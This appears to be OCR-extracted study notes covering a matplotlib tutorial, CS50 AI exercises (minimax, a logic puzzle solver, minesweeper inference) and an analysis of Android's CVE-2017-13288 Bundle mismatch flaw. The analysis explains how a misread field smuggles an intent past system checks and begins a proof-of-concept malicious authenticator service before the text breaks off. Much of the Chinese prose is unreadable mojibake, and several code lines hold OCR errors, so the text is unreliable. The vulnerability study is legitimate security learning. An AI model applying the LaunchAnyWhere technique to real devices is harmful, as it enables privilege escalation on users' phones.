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1 matplotlib 23218

Bl %FiXHEL..

« pythonfdmatplotlibfE, FRFHIFERGEATER, FTRREMPEICHREESR
o BETELHES (Pythonfmi2——MAIIRISLE) — BRSO HA.

1.1 BERXAE
1.1.1 1 7EER LR

Ny~ A=) H VAN
6633 [=]

pip install matplotlib
RIaRAE:

import matplotlib as mpl

import matplotlib.pyplot as plt

import numpy as np

fig, ax = plt.subplots() # Create a figure containing a single axes.
ax.plot([1, 2, 3, 4], [1, 4, 2, 3]) # Plot some data on the axes.

FHRUTTE:


https://matplotlib.org/
https://matplotlib.org/stable/tutorials
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HINEB R —HEEA:

import matplotlib.pyplot as plt
plt.plot([1, 2, 3, 4], [1, 4, 2, 3])
plt.show()

58 plot REVAHIIRELE, B scatter REVEHIEIE, EA bar BEEHIEAE

A& BB T FigureflAxesTdsR, FREATEA] (BIERXSK (00) Xi&") , MEEKEpyplotfaml SIEMETRERANALIR
H, FHEF pyplot REUHITREL

BEAXHE

In general, we suggest using the OO style, particularly for complicated plots, and functions and scripts that are intended to be
reused as part of a larger project. However, the pyplot style can be very convenient for quick interactive work.
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1.1.2.1 Figure

BRI EG. ST fig = plt.figure() , AILAURE figsize SHUFEEIGK/N.

1.1.2.2 Axes

" BAXHE

An Axes is an Artist attached to a Figure that contains a region for plotting data, and usually includes two (or three in the case of
3D) Axis objects (be aware of the difference between Axes and Axis) that provide ticks and tick labels to provide scales for the
data in the Axes. Each Axes also has a title (set via set_title()), an x-label (set via set_xlabel()), and a y-label set via set_ylabel()).

BRAxesFHEE LZ Axis'IWEHT N, (BEXEAxesTESRIHIHMYNZ LR, TLUEAxesEEARENEEM LAYS
MR, BAxesTRILMEXRIBRVEREIFES, EAX LEEREMBIFERRK.

1.1.2.3 Axis



Aktrid, ATLURBMESIRG. GIE7FE ax.axis([x1, x2, y1, y2]) B plt.axis([x1, x2, y1, y2]) . ZENMEH
Locator XISRIBE, ZIEREZRTEH Formatter 1800, IEFAY Locator 0 Formatter BYB SR LURIFHIIEHIZIE R EF AR

1.1.2.4 Artist

LRI BRI RAIRELFERE— Artist .

1.1.3 NEESRE

7 BERXHE

Plotting functions expect numpy.array or numpy.ma.masked_array as input, or objects that can be passed to numpy.asarray.
Classes that are similar to arrays (‘array-like') such as pandas data objects and numpy.matrix may not work as intended. Common
convention is to convert these to numpy.array objects prior to plotting

RZEEENTT LA FarrayRIRI5R, SAistirT LAERA. ENERNumpy LIRS F~
BEANESZFF 7RI SHER IS Glgndict, BITLEHAYRANES:

np.random.seed(19680801) # seed the random number generator.
data = {'a': np.arange(590),
‘c': np.random.randint(@, 50, 50),
‘d': np.random.randn(50)}
] = data['a'] + 10 * np.random.randn(50)
] = np.abs(data['d']) * 100

datal['b'
datal'd'

fig, ax = plt.subplots(figsize=(5, 2.7), layout='constrained')
ax.scatter('a', 'b', c='c', s='d', data=data)
ax.set_xlabel('entry a')

ax.set_ylabel('entry b")

60 -

0 10 20 30 40 50
entry a

—/5 -


https://www.numpy.org/

1.2 HHAEE

1.2.1 (EXERE

1.2.1.1 IF&E

& plot BREMRHERL color SEIRNT],

1.21.281=H

FIRETE scatter REPUENSH, FSEAEEESAINERRE facecolor SIHLHIEAE edgecolor , FIEAEREAILRRE.,
1.2.1.3 FislIER

MatplotlibSZHs ST R AIEIE RN EERGB/RGBATTAE. RGB/RGBAH/SIHIFRER. [0, IZENKEE (TREFH
1) . LRERIREHEEE

'b' as blue

'g' as green
'rasred

'c'as cyan

'm' as magenta
'y as yellow

'k as black

‘W' as white

1.2.2 {Z22lEREE. SBLSIRCAIAN

plot BRENHNIZES S marker . linestyle . linewidth 5 markersize

flan:

plot(x, y, color='green', marker='o', linestyle='dashed', linewidth=2, markersize=12)

HIVAITEL:
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@ Note

HAMENRISEURRTLAMIRL 'go--' , HF'gHEE, oAMircHR, -FrENK. BEAEFSEE G~

1.2.2.1 ZBIPFRTR

e 'solid' or (e, ()) or '-':3C%:

e ‘'dotted' or (8, (1, 1)) or ':': /%%
o ‘'dashed' or '--':%@¥lZ

o ‘'dashdot' or '-.':makl&k

EEHIAIRZAN ' (offset, (on_off-seq))' HIFRTAELELEAZH. Flg0, (o, (3, 10, 1, 15)) K= (3ptL, 10pt=
1B, 1pt£k, 15pt==iE)) iRBEw#E, M (5, (16, 3)) & (10pt£L, 3ptZ=[AE) , BHHIFE—1 Spt L.

1.2.22 {RiCHRBIERT
IRCHIVERRZH (WEW) B RIEAR EHABAILA:


https://matplotlib.org/stable/api/markers_api.html

‘o' |R
R =57
v =/
's' IESTE
< RfA2
'D' IEJ5AARA5°
d' B
' &ER
" ¥
TEBRTEEENLAINBR Filled markers”, iXEARCHLUREIEF D, fillstyle (£

& full' . 'left' . "right' . ‘'bottom' ., ‘'top'. ‘'none')

@ Note

markeriRRTLAERD 'S, .. ¢ RURSEREMAmathtex2BFRFE, a0 "$f$" RRERFE f BIFRIC,

RE1RE HEREN R BAS T

1.2.3 IRERE
1.2.3.1 iREMIFEEXEH
EELAPI (BJOOXIIE) =R set_xlabel . set_ylabel . set_title. text. annotate ERETEIEENMNEIRINSA,

ERa=CAPI (BN(ERPItAYAST,) @fEFE xlabel . ylabel . title. suptitle. text. figtext. annotate &EER#, Hb
title. text. annotate FITF{EM Axes FHISIA, suptitle. figtext FHF{EM Figure HRISIA,

A FgureRAxesERASH
Bt _EE S RIEMS:



import matplotlib
import matplotlib.pyplot as plt

fig = plt.figure()
ax = fig.add_subplot()
fig.subplots_adjust(top=0.85)

# Set titles for the figure and the subplot respectively
fig.suptitle('bold figure suptitle', fontsize=14, fontweight='bold")

ax.set_title('axes title')

ax.set_xlabel('xlabel')
ax.set_ylabel('ylabel')

# Set both x- and y-axis limits to [0, 10] instead of default [0, 1]
ax.axis([@, 10, @, 10])

ax.text(3, 8, 'boxed italics text in data coords', style='italic',
bbox={'facecolor': 'red', 'alpha': 0.5, 'pad': 10})

ax.text(2, 6, r'an equation: SE=mc*2$', fontsize=15)

ax.text(3, 2, 'Unicode: Institut fir Festkdrperphysik')

ax.text(0.95, 0.01, 'colored text in axes coords',
verticalalignment="'bottom', horizontalalignment='right",
transform=ax.transAxes,
color="green', fontsize=15)

ax.plot([2], [1], 'o")

ax.annotate('annotate', xy=(2, 1), xytext=(3, 4),

arrowprops=dict(facecolor="'black', shrink=0.05))

plt.show()

LRI
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bold figure suptitle

axes title
10

8 boxed italics text in data coords

- an equation: E = mc?
o
0
)
>

4 - annotate

2 Unicode: Institut fur Festkorperphysik

@
. colored text in axes coords
0 2 4 6 8 10
xlabel
TENFER ERICFRET BIREEIE LT, HSRSUAKER frESESAB4%R.

Hpmi@ EARHAVRERT, xFyinESBaINE, ERirEn LIBEXRET labelpad 9851 (BB Apt) , k&R
position B4 (BB (x, y) ) HTE.
e I=1

FoiE#EF position SEUEKIXIREATy MIRER YIRS AR, SNEMEH, B{FFT labelpad .,
REMASIRERSHATNAEMER, BHRaILAMER loc 28 ('center' | 'left' 8 'right' ) REWRMESXNITTAI,
FEHBIEENIA pad S803=H,
1.2.3.2 (EM={E
BILUEBITER{E matplotlib . font_manager.FontProperties J3iEBIEIT set_xlabel HUMp B EFZSEEEN

aNEEE



from matplotlib.font_manager import FontProperties

font = FontProperties()
font.set_family('serif')
font.set_name('Times New Roman')
font.set_style('italic")

fig, ax = plt.subplots(figsize=(5, 3))
fig.subplots_adjust(bottom=0.15, left=0.2)

ax.plot(x1, y1)

ax.set_xlabel('Time [s]', fontsize='large', fontweight='bold')
ax.set_ylabel('Damped oscillation [V]', fontproperties=font)

plt.show()
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UNAELEFR ML F?

ERIR(ER fo-list g%, EAILAER fe-list :lang=zh family AREERWLSIFFPIHIFIR,

1.24 1R EAESAEIRE
PREMERREELASN, MatplotliiESR A FEEMERRBENGISITE, (R set_xscale 55 set_xscale RIMANFE. IHIRES log',
‘symlog’, 'logit' %%, FRISFEENREUTE, FlN:

def forward(x):
return x**(1/2)

def inverse(x):
return x**2

ax.set_yscale('function', functions=(forward, inverse))



1

EUASf(z) =22,
LFEEHNREIME SRS, EFEREF R ocatorSformatter,

A Nat N

@ Uupdate 2023.4.20

=. )

IEAtERE FBAYERD NIZR R EXERI BRI FEE, (RAILIB CEM— MENF TR IRAGEIZA xaxis. set_ticks fl
xaxis.set_ticklabels (BRESHARMXEM, ERAXBIAT XENSH FHEE 7 ALRHIRESEE.

BRI LRSS natplotlib. ticker . StrMethodFormatter (BTSN FRFE) 5
matplotlib.ticker.FormatStrFormatter (|[HX %1&NFRFER) . EPHRITLIEEBFHRERT s 2o mimmeA—

flan:

fig, axs = plt.subplots(2, 1, figsize=(5, 3), tight_layout=True)
axs[0].plot(x1, y1)

axs[1].plot(x1, y1)

ticks = np.arange(0., 8.1, 2.)

axs[1].xaxis.set_ticks(ticks)
axs[1].xaxis.set_major_formatter('{x:1.1f}")
axs[1].set_xlim(axs[0].get_x1im())

plt.show()

ZFRUT:

1 -

0.0 2.0 4.0

Hrh axs[1].xaxis.set_ticks(ticks) IZB T ZIE, axs[1].xaxis.set_major_formatter('{x:1.1f}") ERAFTIE=FE
RETZERSFHENREBINRIE—RI, axs[1].set_xlim(axs[8].get_x1lim()) IRE 1 xR~ EE.


https://github.com/GooduckZ/ZJU_phylab/blob/main/%E4%B8%87%E7%94%A8%E8%A1%A8%E7%9A%84%E8%AE%BE%E8%AE%A1.py

= =~
tEH,\,i\E ]/\; IeBeQI i ‘

1.2.5 EREFREN

AJLMER TEX #TER. BIG0A ax. set_title(r $\sigma_i=15$") KFKx 0; = 15, B r FRXE—MRIBFRFEH(raw
string), TRRFHIASHMIERE XFH,

1.2.6 F%¢
EEHIE, MEREIT—MELM xytext ANEEER! xy &b

fig, ax = plt.subplots(figsize=(5, 2.7))
t = np.arange(0.0, 5.0, 0.01)
s = np.cos(2 * np.pi * t)

line, = ax.plot(t, s, 1lw=2)

ax.annotate('local max', xy=(2, 1), xytext=(3, 1.5),
arrowprops=dict(facecolor="black', shrink=0.05))

ax.set_ylim(-2, 2)

local max

- 2 I | I | | |

S

xy 5 xytext RAJLAGEMAMRR A HERE, FH2

o

1.2.7 EF
{8 1egend BRZEY,
1.2.7.1 & EEGIE

£ legend FREIAME loc 81, IHMNSELE 'upper left', 'upper right', 'lower left', 'lower right' (FETEHEMN
fAL) ‘'upper center', 'lower center', 'center left', 'center right' (BIEBTELZHY) 'center' LAK 'best' , BRIA
B9 'best' .

TELLERTE layout BHURA 'constrained’ FHE loc BEFFLIERE 'outside’ , AILUSEIBIZHITE Axes ZFh,



fig, axs = plt.subplot_mosaic([['left', 'right']], layout='constrained')

axs['left'].plot([1, 2, 3], label="test1")
axs['left'].plot([3, 2, 1], label="test2")

axs['right'].plot([1, 2, 3], 'C2', label="test3")
axs['right'].plot([3, 2, 1], 'C3', label="test4")

# Place a legend to the right of this smaller subplot.
fig.legend(loc="'outside upper right")

—  testl

- test2

— test3

— test4
3.00 A 3.00 A
2.75 1 2.75 A
2.50 A 2.50 A
2.25 1 2.25 A
2.00 A 2.00 A
1.75 A 1.75 A
1.50 A 1.50 A
1.25 + 1.25 A
1.00 A 1.00 A

0.0 0.5 1.0 1.5 2.0 0.0 0.5 1.0 1.5 2.0

¥, Hrh'outside right upper'A<EF"outside upper right", =1




ucl = ['upper', 'center', 'lower']
ler = ['left', 'center', 'right']
fig, ax = plt.subplots(figsize=(6, 4), layout='constrained', facecolor='9.7")

ax.plot([1, 2], [1, 2], label='TEST')
# Place a legend to the right of this smaller subplot.
for loc in [
'outside upper left',
'outside upper center',
'outside upper right',
'outside lower left',
'outside lower center',
'outside lower right']:
fig.legend(loc=1loc, title=loc)

fig, ax = plt.subplots(figsize=(6, 4), layout='constrained', facecolor='0.7")
ax.plot([1, 2], [1, 2], label='test')

for loc in [
'outside left upper',
'outside right upper',
'outside left lower',
'outside right lower']:
fig.legend(loc=loc, title=loc)

outside upper left outside upper center
—— TEST —— TEST

outside lower left outside lower center
— TEST — TEST

outside upper right
—— TEST

outside lower right
— TEST

| P B



outside left upper
— test

outside left lower
- test

outside right u
— test

pper

outside right lower
— test

EAJLIER— Axes RERZMEGI. ZIRIEA legend RERTHN, (RRSEEFEIRIMRENER. MiZiSIRRIER

SLBIFNIONE Axes R, BARGFENT:

fig, ax = plt.subplots()
linel, = ax.plot([1, 2, 3], label="Line 1", linestyle='--')
line2, = ax.plot([3, 2, 1], label="Line 2", linewidth=4)

# Create a legend for the first line.

first_legend = ax.legend(handles=[1line1], loc='upper right')

# Add the legend manually to the Axes.
ax.add_artist(first_legend)

# Create another legend for the second line.
ax.legend(handles=[1ine2], loc='lower right')

plt.show()

| p P e |
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2.75 1
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1.3 EZE
1.3.1 B AR

FER—KEFRPERAHERABIEUE, G TTEHFETMNIYH, B (UNEEE LB UARIE., XFERT, BILAE
B twinx LAR twiny BRELCIE—NEH Axes , HAZET Axes S5ERM Axes THEEA—KM R, SEEREE

secondary_xaxis B, secondary_yaxis w158 _— 554,

fig, (ax1, ax3) = plt.subplots(1, 2, figsize=(7, 2.7), layout='constrained')

11, = ax1.plot(t, s)
ax2 = ax1.twinx()
12, = ax2.plot(t, range(len(t)), 'C1')

ax2.legend([11, 12], ['Sine (left)', 'Straight (right)'])

ax3.plot(t, s)

ax3.set_xlabel('Angle [rad]"')

ax4 = ax3.secondary_xaxis('top', functions=(np.rad2deg, np.deg2rad))
ax4.set_xlabel('Angle [°]")



Angle [°]

0 100 200 300
0 _ L 500 1.0 | |
L f— Sine (left) 1.0
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- 300
0.0 A 0.0
- 200
—0.5 A L 100 —0.5 1
_1.0 L I I I I I I ] 0 _1.0 1 I I I I I I
0 1 2 3 4 5 0 1 2 3 4 5
Angle [rad]

1.3.2 (EFIENEBRET RS =4
L

X, Y = np.meshgrid(np.linspace(-3, 3, 128), np.linspace(-3, 3, 128))
Z = (1 - X/2 + X*¥*5 + Y**3) * np.exp(-X**2 - Y**2)

fig, axs = plt.subplots(2, 2, layout='constrained')

pc = axs[0@, @].pcolormesh(X, Y, Z, vmin=-1, vmax=1, cmap='RdBu_r")
fig.colorbar(pc, ax=axs[0, 0])

axs[0, 0].set_title('pcolormesh()")

co = axs[@, 1].contourf(X, Y, Z, levels=np.linspace(-1.25, 1.25, 11))
fig.colorbar(co, ax=axs[0, 1])
axs[0, 1].set_title('contourf()")

pc = axs[1, @].imshow(Z**2 * 100, cmap='plasma’,
norm=mpl.colors.LogNorm(vmin=0.01, vmax=100))

fig.colorbar(pc, ax=axs[1, 0], extend='both')

axs[1, 0].set_title('imshow() with LogNorm()")

pc = axs[1, 1].scatter(datal, data2, c=data3, cmap='RdBu_r')
fig.colorbar(pc, ax=axs[1, 1], extend='both')
axs[1, 1].set_title('scatter()")



contourf()

pcolormesh()

2 -
1
_2 -
—2 0 2 -2 0 2
imshow() with LogNorm() scatter()
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1.3.3 BIEZ Axes

REANAIERZ IR plt. subplot() By fig2,

ax = plt.subplots() . WRILAFEREMAXLINESZEIME. FIanER

subplot_mosaic ERENRTIALIEIEIETR /D,

fig,

axd['
axd['
axd['

‘right'],
"right']], layout='constrained')

axd = plt.subplot_mosaic([['upleft',
["lowleft',
upleft'].set_title('upleft')
lowleft'].set_title('lowleft"')
right'].set_title('right')



upleft right
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3 0.Search

AN BHFHATAN T (
BB SIRTTAH I, FNFELENEBMERMIRER. XHFER(IAR Minimax &ix,

BANSRIGHILEERA value T, 2 X IER—FRE, EXULHTS value 91, M= O&ER—5E, EX value -1, SFFH 0,
b, X BtRMZiL value REX, 0 BTxRMiZiE value RE/N. X2 Minimax EiRAIZOEIE,

3.1 Minimax &%

311 Z A

Minimax EiA2—#IIEE, CLBRRETMNES, AEEERIIIEE.

R, Minimax EiAERNAHRER, WHTRREE BSIE 1, NS RRPSEERIIEE.

BN, ZEERXE X InakEt, HRSEHE MRATERIEIEETE, MEIEEMEERY value IMERRXIE , BIFTEIEET &
FERBEN (RANFERBER, FANFIEEI s — 2 BR )

3.1.2 (A3

def minimax(board):
if game over in current board:
return winner of current board

for each possible move:
score = minimax(new board)
if score is better than best score:
best score = score
return best score

EREBE, better FUIENBURTHBIITRE X IF2E 0, WNRHBITRE X, HBA better FiE max , WMRHFIRZE 0, FP
2 better FE min,
3.2 {fift, - Alpha-Beta Pruning

3.2.1 Efiie?
Minimax EiAI—MNRAEERBHAMETHENES, XLSBEXONERE. B, ROBEMEIMTMHL, X2

L. BIRALILRIBAER, MRBMNELHI T EFHIEZR, PBAMRKBUEREAKREENELT. B, HIJLITEE
FRNITRET, IERIFRMEZL, REERHINTRET, NRANIRELZCENRMEEZET, PBARTLUZIEEHT .

3.221K18



def minimax(board) :
Returns the optimal action for the next player on the board.

if terminal(board):
return None

next_player = player(board)
best_value = -2 if next_player == "X" else 2

# Looping through all possible actions and
# finding the most valuable (optimal) action
for action in actions(board):
new_value = find_value(result(board, action), best_value)

if next_player == X:

new_value = max(best_value, new_value)
if next_player == 0:

new_value = min(best_value, new_value)

if new_value != best_value:
best_value = new_value
optimal_action = action

return optimal_action

def find_value(board, best_value):

Finds the best value for each recursive iteration. Optimized to use Alpha-Beta Pruning.

if terminal(board):
return utility(board)

next_player = player(board)
value = -2 if next_player == "X" else 2

# Loops through all possible actions and finds their corresponding value
for action in actions(board):
new_value = find_value(result(board, action), value)
if next_player ==
if new_value > best_value:
return new_value
value = max(value, new_value)
if next_player == 0:
if new_value < best_value:
return new_value

value = min(value, new_value)

return value

LA ERIBH IS REAR SRS, TEAMBALISE tictactoe.py , LAK runner.py .
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https://gooduckz.github.io/note/assets/files/cs50ai/tictactoe/tictactoe.py
https://gooduckz.github.io/note/assets/files/cs50ai/tictactoe/runner.py

4 1.Knowledge

XTEE, . BERXR. B, &S, F. BESFFHRSEREEETHEMRER. FRENEI ISR RTemE Rt
H,

7£ logic.py &) A python AYSESCI T —LBIBIEHE AN AIRE (Knowledge Base) BYTHEE., TmEIZSH—LLizAAYAIF.

4.1 Knights and Knaves

4.1.1 [R)EER

BIAA, HPEBL (Knight) S5/M@ (Knave) . BELERER, IMASERmE. AR —EE, SIRA
Mo RRHABM5.,

4.1.2 Puzzle 0

A says “l am both a knight and a knave.”

EA AR BREEELENE M, XEAAEER. EiLt A RRIRIRIE, BIA Z/ME.

4.1.3 Puzzle 1
A says “We are both knaves.” B says nothing.

A EAIERRME”, XRAFEERY (RiRi%) . FElt ARRIRERIE, B A /M@, B A%y, Ht B 2iEt.

4.1.4 Puzzle 2
A says “We are the same kind.” B says “We are of different kinds.”

AR BAIRE—FRA", XEEN (RIRZE) . Eib A RZRE, BIAZ/IME. B HRNIEAEMENIA", XZIEHRY,
Itt B 2¥ L.

4.1.5Puzzle 3

A says either “| am a knight.” or “I am a knave.”, but you don’t know which. B says “A said ‘l am a knave.” B then says “Cis a
knave.” C says “Ais a knight.”

AR RRH L HHRIEIME, BIRRNERNERER, FXLEATCINEIRASEESZ/ME. Bt ARFE/IMEa", ATLUX
=RiE, At B2V, BiR'C2/va", X2/, Eit C2¥t, Cik'AZRL", XZEEMRY, HitAZREL.

ABAFBRZ AN AIIRAEFHEIRH_DIARRIEERIE? FE=IIERAREEELI.


https://gooduckz.github.io/note/assets/files/cs50ai/logic.py

from logic import *

# Symbols

Aknight = Symbol("A is a Knight")
Aknave = Symbol("A is a Knave")
Bknight = Symbol("B is a Knight")
Bknave = Symbol("B is a Knave")
Cknight = Symbol("C is a Knight")
Cknave = Symbol("C is a Knave")

# Knowledge ©

knowledge® = And(
# A is either a knight or a knave, but not both
Or (Aknight, Aknave),
Not (And(Aknight, Aknave))

)

# Puzzle ©
# A says “I am both a knight and a knave.”
knowledge®.add(

Biconditional(Aknight, And(Aknight, Aknave))
)

print("Puzzle 0")
for symbol in [Aknight, Aknave]:
if model_check(knowledge®, symbol):
print(symbol)
print()

# Knowledge 1

knowledgel = And(
# A is either a knight or a knave, but not both
Or (Aknight, Aknave),
Not (And(Aknight, Aknave)),
# B is either a knight or a knave, but not both
Or(Bknight, Bknave),
Not(And(Bknight, Bknave))

)

# Puzzle 1
# A says “We are both knaves.”
# B says nothing
knowledge1.add(
Biconditional(Aknight, And(Aknave, Bknave))
)

print("Puzzle 1")
for symbol in [Aknight, Aknave, Bknight, Bknave]:
if model_check(knowledgel, symbol):
print(symbol)
print()

# Knowledge 2

knowledge2 = And(
# A is either a knight or a knave, but not both
Or (Aknight, Aknave),
Not (And(Aknight, Aknave)),
# B is either a knight or a knave, but not both
Or(Bknight, Bknave),
Not (And(Bknight, Bknave))

)

# Puzzle 2
# A says “We are the same kind.”
# B says “We are of different kinds.”
knowledge2 .add(
Biconditional(Aknight, Or(And(Aknight, Bknight), And(Aknave, Bknave)))

)

y~=7



knowledge?2 .add(

Biconditional(Bknight, Or(And(Aknight, Bknave), And(Aknave, Bknight)))

)

print("Puzzle 2")
for symbol in [Aknight, Aknave, Bknight, Bknave]:
if model_check(knowledge2, symbol):
print(symbol)
print()

# Knowledge 3

knowledge3 = And(
# A is either a knight or a knave, but not both
Or (Aknight, Aknave),
Not (And(Aknight, Aknave)),
# B is either a knight or a knave, but not both
Or (Bknight, Bknave),
Not (And(Bknight, Bknave)),
# C is either a knight or a knave, but not both
Or(Cknight, Cknave),
Not (And(Cknight, Cknave))

# Puzzle 3
# A says either “I am a knight.” or “I am a knave.”,
# B says “A said ‘I am a knave.'”
# B then says “C is a knave.”
# C says “A is a knight.”
knowledge3.add(
Biconditional(Aknight, Or(Aknight, Aknave))
)

knowledge3.add(

but you don’t know which.

Biconditional(Bknight, Biconditional(Aknight, Aknave))

)

knowledge3.add(
Biconditional(Bknight, Cknave)

)

knowledge3.add(
Biconditional(Cknight, Aknight)
)

print("Puzzle 3")

for symbol in [Aknight, Aknave, Bknight, Bknave, Cknight, Cknave]:

if model_check(knowledge3, symbol):
print(symbol)
print()

LERREE TR AEHERNT:
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Puzzle 0
A is a Knave

Puzzle 1
A is a Knave
B is a Knight

Puzzle 2
A is a Knave
B is a Knight

Puzzle 3

A is a Knight
B is a Knave
C is a Knight

4.2 Minesweeper

EERRRE KRR, BN MRENERT, BFFENAR. SR EBE— R, RERE
BAHRPESONE, NR—FREGERT, BATEEN 8 VSRIFRE, WR—FREEFH 0, BAH
i 8 AHREREE. MB— RN 1, BATEEN 8 M5RPE 1 ME, MRS LT 2, B4
CRIER 8 MR 2 ME. LU,
TR NE BRI E, BREA TSR

1. SRS

2 IREIERES, HEBHE SRR B

3 IREHIBHIOER, I RER, BErRTRE

4 IRBFITHAOESR, TR B

Heb g T, AR MERNSISNER, WEFIRBLSRES, BESRAEE. XETLUERLATRIZEE:

1. ARENSREENERIEHNEN 0, BACEERISREBAZRE
2. NREATTREERIERIRE SRS RIHERR, BAXLRAAITREZEE

MAERZIEHERNRERRERFEIARENE, BAMREIIIESSIFEA, RXBEEREEEOREINRE, X
B AR KR D RITR AT,

HEENX—FIZFE knowledge FTRAIRE, HPENTTRERE— Sentence WH, FTr—MNEIEIEE, HY Sentence XHAY
cells BMFRRNZEZEBTPHESR, count BUHRNZEEEATIIENEE. HIa0— Sentence XJHR
Sentence({(1, 1), (1, 2), (2, 1)}, 1) Fx, X=ENARPE—E.

Itah, AL ERIRFEIRTS A, BRI LB MEAIEREEESER. HIER S Sentence XIHR Sentence({(1,
1), (1, 2), (2, 1)}, 1) # Sentence({(1, 1), (1, 2), (2, 1), (2, 2)}, 2), BPAXM Sentence WIRAYEE
Sentence({(2, 2)}, 1) T, ENFRFPFE—NE. XMFETLMERHEZHER, REEENIDIRES, BIOIZERR
M{ERXMAERERENESHES. TERIMRE ARSI S HIAT KRB B!



def add_knowledge(self, cell, count):

# 1) mark the cell as a move that has been made
self.moves_made.add(cell)

# 2) mark the cell as safe
self.mark_safe(cell)

# 3) add a new sentence to the AI's knowledge base

# based on the value of ‘cell’ and ‘count®
# (i.e. the sentence should represent the fact that
# ‘count® of ‘cell''s neighbors are mines)

neighbors = set()
for i in range(cell[@] - 1, cell[@] + 2):
for j in range(cell[1] - 1, cell[1] + 2):

if (i, j) == cell:
continue

if @ <= i < self.height and @ <= j < self.width:
if (i, j) in self.mines:
count -= 1
elif (i, j) not in self.safes:
neighbors.add((i, j))

self.knowledge.append(Sentence(neighbors, count))

while True:
pre_knowlodges = self.knowledge.copy()
# 4) mark any additional cells as safe or as mines
# if it can be concluded based on the AI's knowledge base
for sentence in self.knowledge:
mines = set(sentence.known_mines())
safes = set(sentence.known_safes())
for cell in mines:
self.mark_mine(cell)
for cell in safes:
self.mark_safe(cell)

# 5) add any new sentences to the AI's knowledge base
# if they can be inferred from existing knowledge
for sentencel in self.knowledge:
for sentence2 in self.knowledge:
if sentencel == sentence2:
continue
if sentencel.cells.issubset(sentence2.cells):
new_cells = sentence2.cells - sentencel.cells
new_count = sentence2.count - sentencel.count
new_sentence = Sentence(new_cells, new_count)
if new_sentence and new_sentence not in self.knowledge:
self.knowledge.append(new_sentence)

# Remove empty sentences

self.knowledge = [sentence for sentence in self.knowledge if sentence.cells]
if pre_knowlodges == self.knowledge: break

Bff_E52E2H minesweeper.py 5 runner.py,

(BNBHEE M NHAERAELREEEAIT)

@ Thanks
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https://gooduckz.github.io/note/assets/files/cs50ai/minesweeper/minesweeper.py
https://gooduckz.github.io/note/assets/files/cs50ai/minesweeper/runner.py
https://cs50.harvard.edu/ai/2020/projects/1/minesweeper/
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5 “Bundle XK RS SEE B0

5.1 ImiRERIA

5.1.1 fEXfEf

Bundle £2—FHE Android RETAIRFIRIES R AIENEMEURATLEE. Bundle IREBSCIIRISAE, LURERIAOTIZHE
1B, FHESEII (SEREIRMFTER) SRFFIG (T RsRmRER) KA RR R M.

5.1.2 CVE-2017-13288

CVE-2017-13288 2—°CVSS3.0 ((BRIRERITORS) 15 7.8 7. ¥4 high (UERRE. Bi@d Bundle NFFILERFS!
WAIEES, SRid intent RIRRUALE, MIT3RIG LaunchAnyWhere f5R.

%IRRT android.bluetooth.le.PeriodicAdvertisingReport X NEBITZFE Parcelable BEHL SR EFICALERE, #H#
MESHERBESENIREFEETN, GREFER intent Sad 7THEM.
5.1.3 CVE-2023-20963

CVE-2023-20963 B— 1T 2023 F 3 BiEIEIER, EXRESHERR. ZiRRLEITEREASERN AR AIER,
BE/= Google Play IR FARTZNA. BTIZNABZER, SRR MINREHANERTRIS,

5.2 imil/RIE
5.2.1 LaunchAnyWhere &/}

LaunchAnyWhere 2—MREIfFET Android ERz FRIBKIRIR. ZmEFIAT AccountManagerService #2[1, BITHMH 7%
IS "89BRSS, {EBh Settings BIEIBRTSAIY. TEER 7 5 addAccount BIZITFE:

Leimg

IZBIETE Android 4.4 RiEE, BE5 AR, £ AccountManagerService IXIRFBIERERY intent FHATIEET, #HR intent I H
fx Activity FTEENERSRANA—E.

5.2.2 PeriodicAdvertisingReport {&1

PeriodicAdvertisingReport 27F Android RAEFFEER—ZE, 2 Parcelabel B9F2, BEAMREHAEET
PeriodicAdvertisingReport FIFEZLLAR 52 FRa I RISEER -



@0verride
public void writeToParcel(Parcel dest, int flags) {
dest.writeInt(syncHandle);
dest.writelLong(txPower) ;
dest.writeInt(rssi);
dest.writeInt(dataStatus);
if (data !'= null) {
dest.writeInt(1);//flag == 1
dest.writeByteArray(data.getBytes());
} else {
dest.writeInt(0);//flag == @
}
}

private void readFromParcel(Parcel in) {
syncHandle = in.readInt();
txPower = in.readInt();
rssi = in.readInt();
dataStatus = in.readInt();
if (in.readInt() == 1) {//flag == 1
data = ScanRecord.parseFromBytes(in.createByteArray());

}

Hep, txPower FEEEANRTJI long MfEMILHAT /9 int, FEMAMER T RLECHSEGEM, 5IRRRAI=E,

5.2.3 CVE-2017-13288 @ a/E=1E

WEEBIIEHTAIIES Parcel, {£1§i% Parcel FERIEBUEEFRITR intent i3, MEMBALZETR intent LN,
FERAZSCHIPRIZT .

WEB IR AccountAuthenticator BN FAFHIE—NEE Bundle, EFFFERNEEXS, EH— PeriodicAdvertisingReport
XI5, 1§ syncHandle. txPower . rssi, dataStatus IARFIRTEEIER data BY flagi® A 1, BHER intent IF data
(RBUE ByteArray) ; EMEEMETOM, FAEHBER intent ATLABHEEN, AKX ANETHRERFFINFHHERLER

4,

£ system_server 1, Bundle #F7I4t, “m— PeriodicAdvertisingReport %35, EENT syncHandle . txPower .
rssi. dataStatus LA data (3979 1) , UHT intent 2— ByteArray FRY(E, BEIESTT checkKeyIntent 18E,

BEfS system_server & Bundle P, EBFULET txPower EAKEEMFEAN (BEFZHT—1int80) , EbSHIET 84
1, EHNASAE.

f£ Settings # Bundle RFFIML, EBY txPower BHfsEFE readInt %L, FEUGENTHFR 4 7, MEHA 4 LSHTEHEM(E
Hmfe. BEEIERIRY rssi A0 (BHBI4I) , dataStatus A1 (JRrssi) , flag A1 (J& dataStatus) , J& flag P
1 WHE data BUKEEN, MR data BHSENIZZRL T data BINA. LEATIZ PeriodicAdvertisingReport X3SRISEENSTEE, MH
FREZHRY, FETERM data ZHH] intent MERFERNSE - MREXNTRELR, LA Settings N FRY system
RPREIER Activity, tHESEI 7N,

5.3 mREI
TEESSEI—Ma BN FAEZRSIN CVE-2017-13288 iFiE, SEMEAUEX I PIN 2563,

5.3.1 2% AuthenticatorService iR5%

BT 8ENEFIFR Settings AIRPR, [E LaunchAnyWhere BISCIR /554, S/ AndroidManifest.xml AEASCHL
AuthenticatorService:



<service
android:name=".AuthenticatorService"
android:enabled="true"
android:exported="true">
<intent-filter>
<action android:name="android.accounts.AccountAuthenticator"/>
</intent-filter>
<meta-data android:name="android.accounts.AccountAuthenticator"
android:resource="@xml/authenticator">
</meta-data>
</service>

5.3.2 SCHI MyAuthenticator
1£ AccountAuthenticator HfY addAccount &&= Bundle

EREECIAN T
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@0verride

public Bundle addAccount(AccountAuthenticatorResponse accountAuthenticatorResponse, String s,

